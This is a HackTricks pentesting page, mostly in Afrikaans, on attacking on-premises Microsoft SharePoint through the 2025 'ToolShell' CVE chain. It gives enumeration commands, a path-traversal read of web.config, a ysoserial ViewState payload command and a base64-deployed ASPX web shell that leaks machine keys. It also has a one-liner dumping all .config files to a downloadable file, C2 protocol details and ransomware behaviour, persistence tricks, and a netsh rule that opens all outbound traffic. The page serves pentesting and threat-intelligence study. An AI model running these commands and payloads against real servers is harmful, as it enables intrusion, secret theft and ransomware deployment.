Microsoft SharePoint – Pentesting & Exploitation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Microsoft SharePoint (on-premises) is gebou bo-op ASP.NET/IIS. Die meeste van die klassieke web-aanvalsoppervlakte (ViewState, Web.Config, web shells, ens.) is dus teenwoordig, maar SharePoint bevat ook honderde proprietêre ASPX-bladsye en webdienste wat die blootgestelde aanvalsoppervlakte aansienlik vergroot. Hierdie bladsy versamel praktiese truuks om SharePoint-omgewings te enumerate, te exploit en te persist, met klem op die 2025 exploit chain wat deur Unit42 openbaar gemaak is (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 eksploit-ketting (ook bekend as “ToolShell”)
2.1 CVE-2025-49704 – Kode-inspuiting op ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> laat toe dat arbitrêre Server-Side Include-kode in die bladsy geïnspuit word wat later deur ASP.NET saamgestel word. ’n Aanvaller kan C# inbêdig wat Process.Start() uitvoer en ’n kwaadwillige ViewState loslaat.
2.2 CVE-2025-49706 – Onbehoorlike verifikasie-omseiling
Die selfde bladsy vertrou die X-Forms_BaseUrl kop om die site-konteks te bepaal. Deur dit na /_layouts/15/ te wys, kan MFA/SSO wat op die wortelwebwerf afgedwing word sonder autentikasie omseil word.
2.3 CVE-2025-53770 – ViewState-deserialisering sonder autentikasie → RCE
Sodra die aanvaller ’n gadget in ToolPane.aspx beheer, kan hulle post ’n unsigned (or MAC-only) __VIEWSTATE waarde wat .NET-deserialisering binne w3wp.exe aktiveer wat tot kode-uitvoering lei.
As ondertekening geaktiveer is, steel die ValidationKey/DecryptionKey uit enige web.config (sien 2.4) en vervals die payload met ysoserial.net of ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Vir ’n deeglike verduideliking oor die misbruik van ASP.NET ViewState, lees:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure
Die stuur van ’n gemanipuleerde Source-parameter na ToolPane.aspx (bv. ../../../../web.config) gee die geteikende lêer terug, allowing leakage of:
<machineKey validationKey="…" decryptionKey="…">➜ forge ViewState / ASPXAUTH cookies- connection strings & secrets.
2.5 ToolShell workflow observed in Ink Dragon intrusions
Check Point het in kaart gebring hoe Ink Dragon die ToolShell-ketting geoperasionaliseer het maande voordat Microsoft fixes uitgereik het:
- Header spoofing for auth bypass – die akteur stuur POSTs na
/_layouts/15/ToolPane.aspxmetReferer: https://<victim>/_layouts/15/plus ’n valsX-Forms_BaseUrl. Daardie headers oortuig SharePoint dat die versoek van ’n vertroude layout afkomstig is en slaan front-door authentication volledig oor (CVE-2025-49706/CVE-2025-53771). - Serialized gadget in the same request – die versoekliggaam sluit aanvallerkontroleerde ViewState/ToolPart-data in wat die kwesbare server-side formatter bereik (CVE-2025-49704/CVE-2025-53770). Die payload is gewoonlik ’n ysoserial.net-ketting wat binne
w3wp.exeloop sonder ooit die skyf te raak. - Internet-scale scanning – telemetry van Julie 2025 toon dat hulle elke bereikbare
/_layouts/15/ToolPane.aspxendpoint enumereer en ’n woordelys van leaked<machineKey>-pare herafspeel. Enige site wat ’n voorbeeld-validationKeyuit dokumentasie gekopieer het, kan gekompromitteer word selfs al is dit andersins volledig gepatch (sien die ViewState-bladsy vir die signing workflow). - Immediate staging – suksesvolle eksploitasi plaas ’n loader of PowerShell-stager wat: (1) elke
web.configdumpt, (2) ’n ASPX webshell plant vir kontingensie-toegang, en (3) ’n plaaslike Potato privesc skeduleer om uit die IIS worker te ontsnap.
3. Post-exploitation resepte wat in die wild waargeneem is
3.1 Exfiltrate every .config file (variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Die resulterende debug_dev.js kan anoniem afgelaai word en bevat alle sensitiewe konfigurasie.
3.2 Ontplooi ’n Base64-encoded ASPX web shell (variation-2)
powershell.exe -EncodedCommand <base64>
Gedekodeerde payload-voorbeeld (verkort):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Geskryf na:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
Die shell bied endpunte aan om lees / roteer machine-sleutels wat toelaat om ViewState en ASPXAUTH koekies dwarsdeur die farm te vervals.
3.3 Geobfuskeerde variant (variasie-3)
Dieselfde shell maar:
- neergelê onder
...\15\TEMPLATE\LAYOUTS\ - veranderlike name gereduseer tot enkele letters
Thread.Sleep(<ms>)bygevoeg vir sandbox-ontduiking en tydgebaseerde AV-bypass.
3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (waargenome 2025-2026)
Onlangse incident-response ondersoeke (Unit42 “Project AK47”) toon hoe aanvallers die ToolShell-ketting benut na aanvanklike RCE om ’n dubbelkanaal C2-implant en ransomware in SharePoint-omgewings te deploy:
AK47C2 – dnsclient variant
- Hard-coded DNS-bediener:
10.7.66.10kommunikeer met die autoritatiewe domeinupdate.updatemicfosoft.com. - Messages are JSON objects XOR-encrypted with the static key
VHBD@H, hex-encoded and embedded as subdomein-etikette.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Lang navrae word in stukke gekap en met voorvoegsel
sgemerk, dan server-side weer saamgestel. - Bediener antwoord in TXT-rekords wat dieselfde XOR/hex-skema dra:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Weergawe 202504 het ’n vereenvoudigde formaat
<COMMAND>::<SESSION_KEY>en stukmerkers1,2,abekendgestel.
AK47C2 – httpclient variant
- Hergebruik presies dieselfde JSON- en XOR-roetine maar stuur die hex-bolk in die HTTP POST body via
libcurl(CURLOPT_POSTFIELDS, ens.). - Dieselfde taak/uitslag-werkvloei wat toelaat:
- Skadelose shell-opdraguitvoering.
- Dynamiese slaapinterval en kill-switch instruksies.
X2ANYLOCK ransomware
- 64-bit C++ payload gelaai deur DLL side-loading (sien hieronder).
- Gebruik AES-CBC vir lêerdata + RSA-2048 om die AES-sleutel te omsluit, en voeg dan die extensie
.x2anylockby. - Enkripteer rekursief plaaslike skywe en ontdekte SMB shares; slaan stelselpaaie oor.
- Laat ’n duidelike teksnota val
How to decrypt my data.txtwat ’n statiese Tox ID vir onderhandelinge insluit. - Bevat ’n interne kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);
DLL side-loading chain
- Aanvaller skryf
dllhijacked.dll/My7zdllhijacked.dlllangs ’n regmatige7z.exe. - SharePoint-gespawnde
w3wp.exebegin7z.exe, wat die kwaadwillige DLL laai weens die Windows soekorde, en die ransomware entrypoint in geheue aanroep. - ’n Afsonderlike LockBit-loader waargeneem (
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll) ontsleutel shell-code en voer DLL hollowing uit ind3dl1.dllom LockBit 3.0 te laat loop.
[!INFO] Dieselfde statiese Tox ID wat in X2ANYLOCK gevind is, verskyn in leaked LockBit-databasisse, wat op ’n affiliate-overlap dui.
3.5 SharePoint-buit omskakel na lateral movement
- Decrypt elke beskermde afdeling – sodra jy op die web-tier ingeplant is, misbruik
aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri(of-px "appSettings") om die duidelike-tekst geheime wat agter<connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">wegkruip, uit te dra. Ink Dragon het herhaaldelik SQL-logins, SMTP-relays en pasgemaakte diensbewyse op hierdie manier geoes. - Recycle app-pool rekeninge oor farms – baie ondernemings hergebruik dieselfde domain-rekening vir
IIS APPPOOL\SharePointop elke front-end. Na die dekripteer vanidentity impersonate="..."blokkies of die lees vanApplicationHost.config, toets die geloofsbriewe oor SMB/RDP/WinRM na elke sibling-server. In verskeie voorvalle was die rekening ook ’n plaaslike administrateur, watpsexec,sc create, of beplande-taak staging moontlik maak sonder om password-sprays te ontlok. - Misbruik leaked
<machineKey>waardes internt – selfs al word die internetperimeter gepatch, hergebruik van dieselfdevalidationKey/decryptionKeylaat toe ViewState-aanvalle lateral tussen interne SharePoint-sones wat mekaar vertrou.
3.6 Persistence-patrone wat in 2025-indringings getuig is
- Scheduled tasks – ’n eenmalige taak met die naam
SYSCHECK(of ander gesondheids-gekoppelde name) word geskep met/ru SYSTEM /sc once /st <hh:mm>om die volgende-stadium loader te bootstrap (gewoonlik ’n hernoemdeconhost.exe). Omdat dit eenmalig loop, mis telemetrie dit dikwels tensy historiese taak-XML bewaar is. - Masqueraded services – dienste soos
WindowsTempUpdate,WaaSMaintainer, ofMicrosoftTelemetryHostword geïnstalleer viasc createwat na die sideloading-triad gids wys. Die binaire hou hul oorspronklike AMD/Realtek/NVIDIA-handtekeninge maar word hernoem om by Windows-komponente te pas; vergelyk die op-disk naam met dieOriginalFileNamePE-veld as ’n vinnige integriteitskontrole.
3.7 Host firewall downgrades for relay traffic
Ink Dragon voeg gereeld ’n permissiewe uitgaande reël by wat as Defender-onderhoud gemaskeer is sodat ShadowPad/FinalDraft verkeer op enige poort kan uitgaan:
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
Omdat die reël plaaslik geskep is (nie via GPO nie) en die legitieme Defender binary as program= gebruik, ignoreer meeste SOC baselines dit, maar dit open steeds Any ➜ Any egress.
Verwante truuks
- IIS post-exploitation & web.config abuse:
IIS - Internet Information Services
Verwysings
- Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities
- GitHub PoC – ToolShell exploit chain
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity
- Microsoft Security Advisory – CVE-2025-53770 / 53771
- Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


